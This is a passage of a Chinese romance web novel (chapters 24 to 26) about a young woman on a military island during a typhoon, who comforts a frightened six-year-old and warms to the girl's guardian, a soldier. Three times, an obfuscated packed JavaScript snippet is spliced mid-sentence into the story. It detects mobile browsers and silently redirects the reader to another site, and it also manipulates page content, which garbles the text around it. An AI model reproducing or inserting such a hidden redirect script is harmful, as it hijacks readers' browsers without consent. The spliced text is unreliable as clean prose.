“管啊，只是管不过来，霖川也不容易，他已经尽量在照顾这俩孩子了，他每个月出任务最少得有十天，他们俩也就习惯了自己在家里待着，你是不知道，被收养，总比让他俩去省里的孤儿院强，那边孩子多，教育跟生活条件更跟不上，好在咱们岛上别的不说，只要不下水，安全是有绝对保障的，这都两年了，也没出过什么事儿。” 从刘阿婆口中，夏云婉也得知了这俩孩子的身世。 刘阿婆以前父母来建设武滨岛时跟来的，她男人王平顺原是岛上的原住民，如今在营区通讯板当班长，平时也是值班多回家少。 她有一儿两女，儿子在岛上唯一的机电维修厂上班，大女儿结婚在外地，外孙子偶尔送过来住几天，小女儿在上高中，还没放假回家。 两年前王平顺出海，运气差碰到了吃人的鲛鲨，当时附近有执行任务的军用船，陆悦的父亲程连长跟陆霖川都在船上，彼时王平顺腿已经被咬出了伤口，程连长跟陆霖川下海帮忙这才救他上去，遗憾的是，程连长却因为这场以外没能回来。 回来之后，陆霖川不顾家里反对收养了陆浩然跟陆悦，刘阿婆也有心收养，可他家条件跟不上，好在两家离得近，只能平日里能多帮忙就多帮忙。 “这些年西边的家属院建好后都搬了过去，这边儿人少，我家里平日也见不着个人，难得有你来陪我多说说话，今儿时间不早，我给你铺盖弄好了，早点休息吧。” 家里有刘阿婆小女儿的空房间，一米二的小床，夏云婉挤一挤，听着窗户外面的雨声，睡的甚至比在夏家时候还舒服些。 ‘轰隆——’ 夏云婉是被半夜一道闪电给惊醒的。 她猛地睁开眼睛坐起来，看着漆黑一片的房间，过了会儿才反应过来自己是在海岛上。 屋外的雨声比刚睡下时大多了，雷鸣声不断，忽有几道闪电，透过窗户，把屋里照的惨白。 风声也大，吹的窗户哗啦啦的响。 台风来了，而且还不小。 夏云婉等呼吸均匀了一些，这才重新躺下，可下一秒，风竟是把窗户给吹开了一个角。 这架势，可比一级台风大多了。 她在现代也在沿海城市住过，如果仅仅是一级，怎么都不至于能把窗户给吹开。 风裹挟着冰凉的雨水打屋里，落在夏云婉的脸上。 得找东西堵一下，不然没办法睡觉了。 又不是没见过台风，别这么紧张。 夏云婉安慰着自己，起身下床到窗口看了一眼。 外面风雨交加，就连隔壁陆家的栅栏都被吹开了，还有几根木头被刮到了门口，窗户上也漏了个缝隙。 夏云婉心里猛地一紧。 这要是预报不准，真刮起来二级台风，他家窗户肯定撑不住得全部断开。 陆家还有俩孩子在呢。 24. 第 24 章 刘阿婆也被吵醒了，一瞧屋里窗户开了也很是诧异，找了木板跟夏云婉一起匆匆把窗户重新钉上。 夏云婉：“岛上的风比城市里大太多了，刘阿婆，之前一级预警也这么大风吗？” “是比之前的大一些，不过雨小，不碍事。” 正说着，李铁蛋因为外面风声大吓醒哭闹起来，刘阿婆一面去哄，一面又看了眼外面。 夏云婉猜到了她在想什么，直接道：“我去隔壁看看，声音这么大，陆悦她们恐怕也会被吵醒。” “诶，那麻烦你了小夏！” 陆家的钥匙刘阿婆也有一份，夏云婉拿到钥匙刚走出门，猛烈的大风就吹的黑布伞晃动个不停。 她本就瘦，这样一吹走路都不稳当，干脆把伞收了起来。 陆家门外的一圈篱笆已经倒下了一半，还有不少直接散开被吹到了墙边。 夏云婉小心的把那些打在窗户上的木头都踢到了旁边后，这才开门，风太大了，开门后便立刻灌到了屋里，吹的桌上东西都掉了下来。 她连忙又把门锁上，这才松了口气。 屋里黑极了，夏云婉找了半天才总算是把灯给点亮。 对面就是两间卧室。 “谁？！” 陆浩然从屋里走出来，警惕的开口。 “是我，刘阿婆不方便，我过来瞧瞧你们有没有事儿。” 陆浩然松了口气：“能有啥事儿啊，这天不就是这样嘛，我去休息了。” “陆悦呢？” “屋里。” 夏云婉嗯了一声，小心翼翼打开陆悦的房门。 屋里也是一张一米二的小床，被褥下面鼓鼓囊囊，却不见陆悦的人影。 夏云婉皱皱眉，走近一看，才发现这小姑娘正缩在被子下面发抖。 这不像是没睡，应该也是被吓醒的。 “悦悦，是我。” 被子被掀开了一个角，等看清楚是夏云婉后，陆悦嘴角一撇，绷不住的哭了出来，眼泪珠子噼里啪啦往下掉，小脸通红，一脑袋扑进了夏云婉的怀里。 夏云婉问怎么了，陆悦也只是眼泪汪汪的不说话。 “害怕是吗？” 这次，陆悦终于点了点头：“我梦到山上有老虎下来吃小孩儿，一口一个陆悦，吃了十个陆悦！” 夏云婉忍俊不禁。 “还有！”陆悦扬起脑袋，鼻子上还冒着泡泡，一脸的认真。 “我一下子就被吓醒了，结果就听见外面真的有老虎在敲门！！是真的夏阿姨！” 夏云婉找了纸给她擦擦脸蛋：“那现在呢，是不是没有了。” 这孩子被吓到，应该是还没从梦里缓过来，有些癔症。 陆悦眨眨眼仔细听了听，确定什么都没有后，这才委屈巴巴点头。 夏云婉这才跟她解释：“刚才是风把栅栏给吹起来拍到窗户上了，没有大老虎，放心放心。” 陆悦缓了一会儿后，这才轻轻嗯了一声。 夏云婉：“那你好好睡觉。” 说着，夏云婉帮她把被子给盖上：“现在外面的木头已经被清理走了，不会再有东西吵醒你的，旁边哥哥也在，别怕。” 陆悦这次却没有乖乖躺下，而是小心的拽了一下夏云婉的小拇指，“阿姨你一走，屋里就又黑下来了。” 夏云婉想了想：“那我把灯丢下来，放到外面的桌子上，门给你留个小缝隙，也不会亮到你睡不着。” 陆悦一愣，仍是不愿意撒手：“可、可那样是不是又，又太浪费了！” “夏阿姨……”陆悦鼓起了勇气，小心翼翼开了口：“你。你可以留下来陪我一下吗，我……我有点害怕，之前……之前如果是这样，我一晚上都要睡不着。” 其实何止是睡不着，夏云婉坐下来的时候才发现，小丫头的枕头全都哭湿了。 陆悦委屈的吸溜了一下鼻子：“夏阿姨，我是不是胆小鬼？” 夏云婉叹了口气，不忍心的柔声安慰她：“怎么可能呢，你已经很勇敢了，六岁的小朋友自己睡觉自己点煤油灯，简直是我见过的孩子里最最勇敢的！” 陆悦仔细看了看夏云婉，嗯了一声，却依旧不肯撒手，“那夏阿姨再陪我一会儿可以吗，等……等风停了！” 这风可能要刮两三天。 夏云婉无奈的笑了，“好，那我陪你睡着。” “嗯！那阿姨你躺我旁边，我们挤一挤。” 一米二的小床，挤一挤实在有些困难。 但陆悦瘦，夏云婉也瘦，一大一小抱在一起，勉勉强强的也就挤下来了。 屋外风声仍旧在继续，陆悦哭了会儿本就累了，天又不早，没多久就在夏云婉怀里睡了过去。 - 山崖下的海域。 “快，最后一条电缆！一连队所有人都下海，还不行就把炊事兵跟附近居民都喊上！” “不行，这样下去电缆非得跟海浪一起飘出去不可。” 灯塔上灯将岸边照的跟白日似的，风雨中，却不见众人脸上有半点轻松。 “岛后面这附近礁石可不少，不到千米又有一处转弯点。”陆霖川神情凝重，拿起望远镜看了一眼，“这样下去不行，老沈，得再想想办法。” 沈参谋看着海边的战士，心里也揪了起来。 幸亏他们有台风天值班巡逻的规定，要不然等明天发现电缆出问题就晚了，可现在风大的根本捞不起来这在海里千斤重的东西。 陆霖川思索片刻，不再犹豫，“我水性好，老沈，我去喊赵晓磊带着一连二班的跟我下潜，你找缆绳带人把电缆头绑死到牵引船上，我们到转弯的地方把断开的牵引锁链缠上，不然只靠人拉太难了。” 风浪大，哪怕陆霖川身上缠了绳子也有被卷走的危险，可此时此刻，他们不就是为了危险才来的吗。 沈参谋沉默两秒，也不再犹豫。 海浪依旧很大，狂风骤雨下，半个小时后，终于看到了陆霖川他们一队人从转弯的礁石处行驶回来。 成功了。 下船上岸，沈参谋手都有些发抖，但还是强撑着拍了拍陆霖川的肩膀。 电缆这下被彻底固定住，留下一些人值班后，其他人也都回了营部。 “这次意外，幸亏了有你。” “不只是我，连队所有人都有参与。”陆霖川擦拭着头上的水渍，将毛巾扔到桌上，“我走了。” “这么晚了还回去，营部睡一夜吧。”沈参谋道。 “不了，今天风格外大些，还是回去再看一眼。” “也是，那你回去吧，明儿巡航换班没有你的名额了，我带赵晓磊他们过去。” 陆霖川看了过去，“排班不是我？” 沈参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983574|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋笑道：“别以为我没看见，你撞着胳膊了吧，回去休息几天，对了，我可听说今天你接了个漂亮女同志回家，那不会是……” “别乱猜，我走了。” “你这人。” 沈参谋摇了摇头，夜色中目送陆霖川离开。 陆霖川顶风到家时已经将近两点，他看到被吹散的篱笆，连忙看向窗户。 见门窗一切完好后，他这才松了口气。 没事儿就好。 屋里静悄悄的，关上门，风雨声都小了许多。 俩孩子应该睡沉了。 陆霖川紧绷的神经，也在进家门这一刻重重松懈下来，只是…… 地上怎么有水渍？ 水渍一路到陆悦房门口。 陆霖川有些担心的走过去，推开门，便瞧见了夏云婉跟陆悦一大一小紧紧抱在一起安睡的模样。 小丫头睡的沉极了，甚至还打起了小呼噜。 而夏云婉…… 她白天盘起的头发散落在了肩头，半遮掩的脸颊上，卷翘的睫毛蝶翼似的停着，屋里要比外面暖和许多，也不知道是睡了多久，她脸颊白皙的皮肤微微浮粉，像是夏天里山上成熟的桃子那样鲜美。 陆霖川呼吸猛地一滞，下一刻，匆忙关门退了出来。 …… 一夜过去，雨竟是停了。 夏云婉揉了揉眼睛，刚要翻身，结果险些掉了下去，这才恍然回神。 身侧的小丫头陆悦倒是依旧熟睡着，想想昨天晚上这孩子因为害怕前半夜应该没怎么睡觉，夏云婉没有吵醒她，转头轻手轻脚的下床，准备回去。 现在时间应该还早，刘阿婆跟外孙儿或许也没起。 想了想，夏云婉决定先在这边借用一下洗手间。 一级台风一般最多持续个一两天，外面虽然不下雨了，但风依旧很大。 她一边低头努力的绑着自己被吹散的头发，一边用肩膀压着门准备进去。 “咳——” 有人？？ 夏云婉惊得抬头，映入眼帘的，就是陆霖川沉沉的脸色，以及精/赤的上半身。 “不、不好意思啊！！我不是故意的，我我我……” 我了半天，夏云婉这才想起来自己首先要做的是出去。 她匆忙离开，反手便‘嘭’的一声将门关了起来。 等小心脏安稳一些了，她才长舒了口气。 陆霖川怎么在这里？ 他不是有任务吗？ 这人是从地缝里冒出来的吧？ 不对，这里好像就是陆霖川的家。 刚才太紧张，也没注意陆霖川穿没穿裤子…… 夏云婉在这边纠结忐忑着，屋里的陆霖川也没好到哪儿去。 他呼吸明显有些凌乱，望着被关上的门，好一会儿才闭上眼睛，让自己淡定下来。 接在水缸的水管再次被拧开，他胡乱往头顶冲着冷水，一直等察觉到腰间有些潮湿，才想起来裤子还没来得及脱。 也幸亏刚才没脱…… 陆霖川这么想着，探手解开了皮带，可迟疑了一下，又再一次的把皮带给扣了上去。 当过兵上过前线的人，听力都更敏锐些。 一门之隔，他知道夏云婉还没有走远。 胸口脸上不知觉间有些热意，陆霖川干脆又用凉水泼了泼脸。 25. 第 25 章 “你要洗漱是吗，进去吧。” 洗手间门被推开，陆霖川走出来道。 夏云婉仍是有些脸热，她嗯了一声，走到门口了，又转身看过来，“你怎么回来连个声音都没有，刚才吓我一跳。” 陆霖川眉毛再次压了下来。 她闯进来的，现在还来质问自己？ 深吸一口气，陆霖川开口：“我昨天晚上就回来了，看你们在睡就没有打扰，现在是早上，我正常起来洗澡而已。” “那也没听见有水声。” “我才刚把衣服脱了。” “……哦。” “你昨天……” “我昨天……” 两个人同时开了口。 陆霖川一顿，淡淡道：“你说。” 夏云婉：“昨晚上风大，我也不知道你回不回来，陆悦年纪跟隔壁阿婆家的李铁蛋一样大，李铁蛋都吓哭了，我担心才过来看看，本来是准备等她睡了就走，结果……结果没留神就睡着了。” “嗯，多谢你了。” “还有。”夏云婉低头想了想，认真道：“我想过了，如果可以提要求的话，我希望能帮我找一份工作，这个要求……过分吗？” “不过分。”陆霖川很利落的点了头：“我会帮忙询问一下市区里有没有工作机会的。” “外面招工的很少，如果岛上有机会也行。” 陆霖川有些意外，“你愿意留在岛上？” “当然啊，我过来本就是来跟你结婚的呀，不愿意我为什么要上岛。” 她说得大大方方，陆霖川站在那里，总觉得自己反而显得不够坦荡。 “我以为……” “什么？”夏云婉好奇的主动追问。 她生得实在好看，应是才起，所以头发被简单的全部盘在了头顶上，偶有一些调皮的碎发落在眉间，衬着那双杏眼眼睛更加有神夺目。 陆霖川明明才刚用冷水洗过脸，颈间的水渍都还没干，可此刻，他总觉得周身温度似乎还是不够低。 不然，怎么他一向冷静的心境居然有一丝的动摇。 “陆霖川。” 夏云婉再次主动开了口，眉眼间带了几分狡黠，“你不会以为我是被逼迫才来海岛的吧？” “一开始是这样的。”陆霖川沉声认下。 “不是的。”夏云婉认真道：“陆楠姐有没有跟你说过，我在来之前，是看过你照片的，知道你是军人，还了解了你的一些过往，而且……” 她眉眼间笑意多了几分，添了丝狡黠，“我还住了一下你的房间来着，你收拾的还挺整洁的，看起来很爱干净。” 陆霖川：“……” 耳根处的热意来的有些突然，也有些无奈。 又是一阵冷风吹过，他才淡淡道：“那房间我只住了两年，里面没多少我的东西，而且因为台风，电话通讯并不及时。” “总而言之嘛。”夏云婉眨眨眼，“我对你的了解，要比你对我的了解多，至少上岛之前，我很相中你的外貌。” “……” 她的话，跟她这个人给陆霖川的感觉是一样的。 单纯，不加掩饰，坦荡，又阳光心思纯净。 她像……像海岛上冬日里的太阳，台风后骤然伏在天边的彩虹。 有些让人惊喜，又觉得她本就该是那样的存在。 只是…… 陆霖川活了二十多年，还是头一次被人当着面夸模样长得好，他一个堂堂大男人，战场上过深海潜过，被人夸外貌像什么话？ 他的优点，也不是只…… ‘咚’的一声，门被关上了。 夏云婉倒是好，说完就进了卫生间，留他自己还没反应过来该如何跟她讲话。 不过夏云婉自己其实也有些紧张的。 她上辈子没谈过恋爱。 收过情书，听过告白，不是她不想，而是没机会。 她没有父母，爷爷奶奶年纪大了身体不好，家里条件差，就连生活费都是东拼西凑，最后学费也是靠了国家的助学贷款，才勉强把书读下来。 所以夏云婉很小就知道自己跟别人不一样。 她想要过很好的生活，但前提她需要钱。 步入大学后，只要有上班工作的机会，她就不会放弃，明明成绩不差，却放弃了考研机会，直接考了编制老师，就是为了想早点挣到钱回去孝敬爷爷奶奶。 在真正让自己能够松懈下来之前，夏云婉都没有给自己留任何谈恋爱的机会。 夏云婉是个要自尊的人，她那时候的条件，谈恋爱只会让自己为难，甚至拖累他人。 所以某种程度上，她其实是理解陆霖川让自己离开的。 他跟自己当初一样，也是怕连累别人。 但后来，夏云婉也才意识到。 任何事情其实都是小马过河，当你以为下水就要被淹死时，可以努力着站起来看一看，试一试，也许水面只到膝盖而已。 就像自己当初，其实已经还完了助学贷款，不需要每天逼自己那么紧，可以稍作放松的。 但这话夏云婉是不准备跟陆霖川说了。 他能想通就想通，想不通，自己至少也能有个工作。 想好了以后，夏云婉低下头准备冲冲脸。 昨天睡在隔壁，刘阿婆照顾外孙子，她没有仔细洗脸，一整天又是被雨淋又是被风吹的，趁着机会，得赶紧拾掇拾掇。 水缸就在旁边，夏云婉弯腰舀了一瓢水到水池，简单冲洗了一下双手双脚跟胳膊后，愕然发现，水缸里居然没水了。 “……” 忘了海岛水资源匮乏，还得挑水来着。 真是的，陆霖川一个大男人刚才用水不知道省着点…… 拉开门栓，夏云婉探出脑袋。 她来时穿的那身衬衣已经有点皱巴了，冲洗一番，衣角也有些湿。 “陆霖川！” 外面没人，夏云婉试着喊了一声。 遗憾的是陆霖川似乎出去了，等了半天也没见着人。 可恶啊。 亏她刚才还夸陆霖川了两句，这会儿他人就没影儿了，总不能又去军区营部了吧，听刘阿婆说，他们这边的驻守军人不是没有连续出任务的情况吗？ 夏云婉正琢磨着实在不行去隔壁找人帮忙时，脚步声从门口传来。 陆霖川袖子完全挽了起来，垫在肩膀侧面，架着扁担抬了两桶水朝着卫生间走来。 看见夏云婉的脑袋，陆霖川默默走上前，“开门。” “……” “开门我把水倒进去，你拎不动。”见夏云婉愣着，陆霖川只能耐着性子解释。 “哦哦哦。” 夏云婉连忙后退了两步让出位置来。 水声哗啦啦的响，两桶看起来得有二三十斤的水，在陆霖川手里像拎豆腐块儿似的轻松。 夏云婉站在他身侧，目光忍不住的往他肩膀上露出的肌肉块瞧。 啧，看着可真硬实。 肩膀也宽。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989768|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 衬衣束了进去，腰身似乎比肩膀细一些。 腿长。 也是，他比自己高两头了都。 等陆霖川忙完，一回头，看见的就是夏云婉打量他身材的眼神。 陆霖川：“……” 他想起来刚才夏云婉的话。 她觉得他外貌不错。 转身时，不知道是有意还是无意，陆霖川顺手把袖子给撸了下来。 夏云婉这才收起目光，转而看到水缸里的水露出满意的神情。 夏云婉：“你怎么就留着那么少的水，家里不还俩孩子呢嘛。” 陆霖川皱皱眉，她反而还先告自己状起来了。 “先前很多，我后面几天都在家，早起就给用了，想着等会儿再添。” “你后面几天都在家？”夏云婉抓住了重点。 “嗯。”陆霖川以为她要说什么，正要开口，却被夏云婉打断。 “那正好，这些天晚上风大，你多照看点陆悦，她昨晚上吓得不轻，非说有老虎从山上下来，不过说起来，这山上真的有老虎吗？” “没有。” “那就行，给我也吓一跳，仔细想想，咱们这地界也不产老虎……好了你出去吧，谢谢啦，我再洗一下就好了。” 陆霖川拎着两个空水桶，再度被夏云婉关到了门外。 看着自家的房间被夏云婉用，自己又被自家的门关外面，陆霖川沉默了片刻，默默拎桶走人了。 刘阿婆来的时候，陆霖川又接了水正准备烧热。 “呦，咋回来了？” 陆霖川解释一番后，刘阿婆才道：“昨晚上幸亏了有小夏过来陪陆悦，她现在还在屋里呢吧，昨天她又是淋雨又是吹风的，我熬了点红糖姜茶，你喊她过去喝。” “行。” 刘阿婆临走前，又念念叨叨：“哦对了，她那衣裳也得换洗，也不知道带没带其他的过来……” 陆霖川把水热上，这话也记了下来，回自己屋里找了半天的东西，出来时，夏云婉也已经洗好了。 堂屋放着一面玫红色手掌大的小镜子，夏云婉进屋拿起来照了两下后脑勺跟头顶。 还好头发不油，但明儿也该洗了，回头得借用一下陆霖川这边的煤火才行。 刘阿婆年纪大了，不能什么都麻烦她。 “需要用热水？” 夏云婉吓了一跳，转身看到陆霖川才拍了拍胸口。 “暂时不需要。” “嗯。” 陆霖川应了声没走，上前两步才要将东西递过去，里屋的门就开了。 陆悦揉着眼睛走出来，看到夏云婉后，眼睛惊喜的瞪大跑了过去。 跑过来后，却又小心翼翼不敢伸手。 夏云婉看出她的意思，主动伸手揉了揉陆悦的小脑瓜，“醒了啊，昨晚上睡着了吗？” “嗯！” 陆悦认真点头，又有些害羞，“谢谢夏阿姨。” “胆小鬼！” 陆浩然不知道什么时候也醒了，走出来打了个哈欠，瞥了眼陆悦哼了一声。 陆悦眼眶一红，想要反驳，可不知道怎么的又委屈的低下头。 哥哥说的没错，她就是胆小鬼。 “怎么会呢。” 温柔的声音像昨天晚上一样响起，也像昨天晚上被抱着时感受到的怀抱一样温暖。 夏阿姨又揉了揉她的头顶，动作轻轻地。 “陆悦才六岁就敢自己睡觉，已经是很勇敢的孩子了！” 26. 第 26 章 孩子是需要肯定的。 尤其是一个敏感小心的孩子。 夏云婉带课见过太多的孩子，小的五岁大的十六。 没有任何一个像陆悦这样乖的，乖到几近于讨好。 她这样的性格，再没有人认同下去，长大就是妥妥的讨好型人格。 那样成长着太累太辛苦了，就算自己要离开海岛，夏云婉想，临走前也要跟陆霖川说一说她的情况。 倒不是圣母心，她纯粹出于职业素养。 “且——” 旁边的陆浩然看了这一幕，有些不服气，“不是胆小鬼，怎么昨晚上还要哭，我都听见了。” “我、我……”陆悦原本被夏云婉安抚下去的委屈再一次涌上心头。 “我忍了，没忍住……”陆悦声音越说越小。 夏云婉叹了口气，转而看向陆浩然，“你听见妹妹哭了是吗？” “当然，我都准备出去看……咳咳咳，谁去看她，反正我就是听见了，只有胆小鬼才哭呢。” “可人是有情绪的，陆悦把情绪抒发出来并没有问题，她才六岁而已，不像你是大哥哥了，你看过书上过学，知道怎么处理情绪，可以勇敢的面对更多事情，将来陆悦也可以。” 陆浩然本想反驳的话，在喉咙口盘旋了半天，听到后面，直接就把本来要说的话给忘了。 他莫名的脸红了些，别别扭扭的歪过头看着地面，“谁、谁用你夸我啊，我走了！” 夏云婉：“……” 啊？ 她夸他什么了来着？ 顺口调解一下而已，怎么就还害羞了呢。 夏云婉莫名其妙站起来，然后收获了陆悦小朋友一个超级崇拜的眼神。 陆悦：“夏阿姨好厉害，把臭哥哥说跑了！” “我不是跑了我是去洗脸——” 院子里传来陆浩然的喊冤声。 夏云婉这下真没忍住，笑了出来。 她笑起来时，眼睫好似更加卷翘了，眉眼中的愉悦，只是看了好像心情也能跟着变好一样，很有感染力。 所以当夏云婉回头看到陆霖川眉梢居然也有几分笑意时，一时间还以为自己看错了。 陆霖川啊，那个能把人冻死的陆霖川啊，这会儿看起来硬朗的五官都柔软了一点点。 但也就那么一点点了。 转过头来，陆霖川看了眼外面，语气冷硬，“陆浩然，洗完去厨房端碗。” “陆悦，去排队洗脸准备吃早饭。” 两句话，说的一句比一句冷硬。 好家伙，不像是喊俩娃吃饭，倒像是喊战士训练。 难怪陆悦在他面前小鸡崽子一样脖子缩的更紧了。 “那我……”夏云婉犹豫着开口。 她跟着哪儿吃去？不会张嘴又是要送自己回去吧？ “吃早饭。”陆霖川示意了一下，自己先去了厨房。 等待时间里，夏云婉又仔细打量了一下堂屋。 沙发的角落里，其实还有一个她之前没发现的……小狗？小兔子？那是个什么娃娃啊？ “夏阿姨，是布老虎。” 夏云婉：“……” 被玩的已经有些瘪的小布老虎两只耳朵竖起来，嘴巴跟眼睛也都皱皱巴巴，倒是跟昨天皱皱巴巴的陆悦有些相似。 “不像吗夏阿姨？很小的时候，那时我还没有记忆，哥哥说是爸爸做的。”陆悦喜欢的拿在手里玩了一下，又怕弄脏一样，赶紧好好的放了回去。 “不是不像，是一点也不……” 脚步声从后面传来，夏云婉及时收声。 “咳咳，挺好，这兔子……这老虎挺好。” 陆霖川似是没听见一样，陶碗直直摆在了夏云婉面前。 刚才夏云婉就闻到了香味儿，看到了才确认，居然真的是煎蛋。 猪油煎出来的蛋两面金黄，边缘焦脆，看着就让人食欲大开。 还有一点稀粥跟一些腌黄瓜条。 “你手艺真好。”夏云婉尝了口黄瓜条，脆生生的，酱味儿浓郁。 “这是刘阿婆腌的。”陆霖川淡淡道。 “……哦，那这鸡蛋煎的也很好啊。”说着，夏云婉戳了戳中心的地方，发现是实心儿不是溏心后，轻微顿了一下，随后还是很愉快的咬到了嘴里。 这年头，尤其是海岛，有鸡蛋吃已经非常难得了，挑是不可能挑一点的。 “用吗？” 吃完饭，夏云婉放下筷子，旁边的陆霖川就递过来一个蓝格纹的手帕，老棉布的，叠的整齐。 “你东西在隔壁，先用这个，新的。” 陆霖川声音淡淡，甚至脸色也依旧跟之前那样略显冷硬，可他却总是能找到到许多细节。 “谢谢。” 陆霖川嗯了一声起身，熟练的收拾起碗筷，才要走时，又想到什么。 “你昨天淋了雨，刘阿婆煮了姜糖茶喊你过去喝，还有——” 他说着，又递来一张票据。 “岛上的百货商店才建到一半，但做夏天的衣服也快。” 那是一张布票，夏云婉大眼扫了过去，得有个十五尺，光是上衣都够做两件了，下面还叠放了两张毛票，看不出来具体是多少。 “我带衣服了。”夏云婉理解了他的意思，自己衣服是有些皱巴，裤腿还沾了点泥斑。 “别看雨停了，外面风这么大还会有雨的，况且航路如今也停运了，停多少天也没个信儿，你是来找我的，在送你……” 陆霖川皱了皱眉，话锋突然一转，神态无比认真，“在咱们两个没有确定结果之前，我会对你负责。” - 坐在刘阿婆家，夏云婉一口一口吞咽着姜茶。 刚才陆霖川的话是什么意思？ 他原本不是铁了心送自己回去的吗，怎么刚才说出口，就变成没有结果之前？ 是因为现在航运不通，也不能能不能帮自己找到工作吗？ 夏云婉怔怔出神，喝完了一整碗姜茶，脑门上也冒了层细密的汗。 “妈我回来啦！” 进屋的是一个齐耳短发，脸蛋跟苹果似的女孩子，瞧着有个十七八岁。 她书包一扔，露出了里面的高二课本。 一番介绍，夏云婉才知道来的是刘阿婆最小的女儿王娟儿。 王娟儿捧着圆圆的苹果脸蛋看着夏云婉满眼好奇，“云婉姐，你可真漂亮，比我在岛上见过的都好看。” “你也很可爱的。” “可是探亲……其实你是来找工作的吧？” 王娟儿忽然想到什么，猛拍了下大腿，“我们学校新来了好几个老师呢，都是因为岛上人口增加，教学楼扩建的原因，听说在市区一直在公开招人呢，就是不知道现在还招不招了，还有个食品厂也在招人，我想着明年要是毕业了，就去试试看。” 招工？！ 夏云婉：“那我能去应聘吗？” “现在我就不清楚了，这是四五月份刚的事儿了，学校里的老师也是那会儿确定了过来的。” “我今天去问问。” “台风呢，要等过去了他们才上班。” “一级台风也休息？” “嗯，咱们这毕竟是海岛，跟市区不一样，云婉姐，你就在这儿安心住着，等什么时候停了什么时候去问也不迟。” 俩人聊着聊着，倒是杨木生过来了一趟，问了两句夏云婉需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001109|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么以后，确定她不过去住，就很快离开了。 “难怪陆团长喊姐你来这边儿呢。” 等杨木生一走，王娟就低声道：“他们一家都是势利眼，哦还有小心眼！他闺女杨美莹在学校当小学老师，也没啥真本事，只能教教一年级的拼音，就因为上个月铁蛋不小心撞了他一下，现在铁蛋还挨她白眼呢。” 王娟儿还是学生，话里话外都是学校老师那些事儿，偏夏云婉以前也是学校的，听着也挺有乐子。 聊投机了，王娟儿拉着夏云婉不撒手，吃完晚饭，还非要说夜里跟夏云婉睡一个被窝去，好在是有刘阿婆拦着才罢休。 晚饭后，刮了整日风的天气再度下起了雨，雨势不大，但架不住风大，出门的话，打在人脸上还是挺疼的。 夏云婉帮着刘阿婆去院子里拿火钳时，一眼看到了隔壁已经被人修整妥当的篱笆。 也不知道陆霖川上午出门后去哪儿又另外找了木头，现在的新篱笆用铁丝给固定了一圈，而且每一个瞧着都往底下钉了很深的距离。 这下就算是二级风，恐怕也刮不倒了。 正看着，夏云婉也恍然想起自己住那个侧屋窗户昨天夜里被吹开了一个洞。 白天只顾着跟王娟儿说话，都没顾上补窗户。 正发愁的时候，就见隔壁的门开了，陆霖川伞都没打，抱着两块干木头走出来。 夏云婉站在屋檐下，俩人恰巧又对视上了。 “走，进屋。” “……啊？” “白天刘阿婆说你睡的屋子窗户破了，我给你补。” 夏云婉好奇：“啥时候说的，我咋不知道？我一直在家里呢。” 陆霖川目光在夏云婉脸上扫了过去，随后转头，“我上午去找木头，下午修篱笆的时候刘阿婆找我的，那会儿你好像在跟王娟儿说什么新来一个老师长的俊俏什么的，还说你不爱看文弱，喜欢精……” “咳咳咳咳！” 夏云婉急急忙忙打断，脸颊热热的推门赶紧喊他进屋。 “外面风大，赶紧进来。” 陆霖川盯了她一瞬，这才进屋。 房间里。 冷气嗖嗖的从窗户破洞的地方吹起来。 陆霖川身材高大，往前面一站，整个人直接能把洞口给堵严实。 风一点都不往夏云婉身上刮了。 ‘叮叮咣咣’的声音响着，屋里安静的几乎能听到彼此之间的呼吸声。 也许是因为衣服淋湿了一些的缘故，陆霖川袖子再度被全部撸了起来，堆积在肩膀头上，昏黄的灯光闪烁，从背后看过去，胳膊健硕的肌肉结实的要命。 啧。 她跟王娟说什么来着，以前追明星的时候，文弱小生就不是她的菜，还得是有点块儿头的才有安全感。 难得的是，这人出手还挺大方的。 今天早上，她接过陆霖川给的布票后，回来一看才知道，下面压着的足足有五十块钱的毛钞。 七一年，这钱除了做衣服，她几乎能在供销社横着走！ “行了。” 陆霖川收起锤子，伸手开关了几次窗户，见彻底没问题了，这才转身。 夏云婉走近看了一眼，木板钉的横平竖直，就连钉子都格外整齐，比没修补之前都要好看。 陆霖川要么是做事细心，要么就是有强迫症。 “谢谢。” “客气。” “等一下。”夏云婉拦住就要走的陆霖川，又道：“今晚上要是有大风，你记得去看一眼陆悦，她说之前每次大风她都吓得半宿睡不着。” 陆霖川嗯了一声，“昨夜这事儿还要谢你，往后几天你有事儿也都可以随时找我。”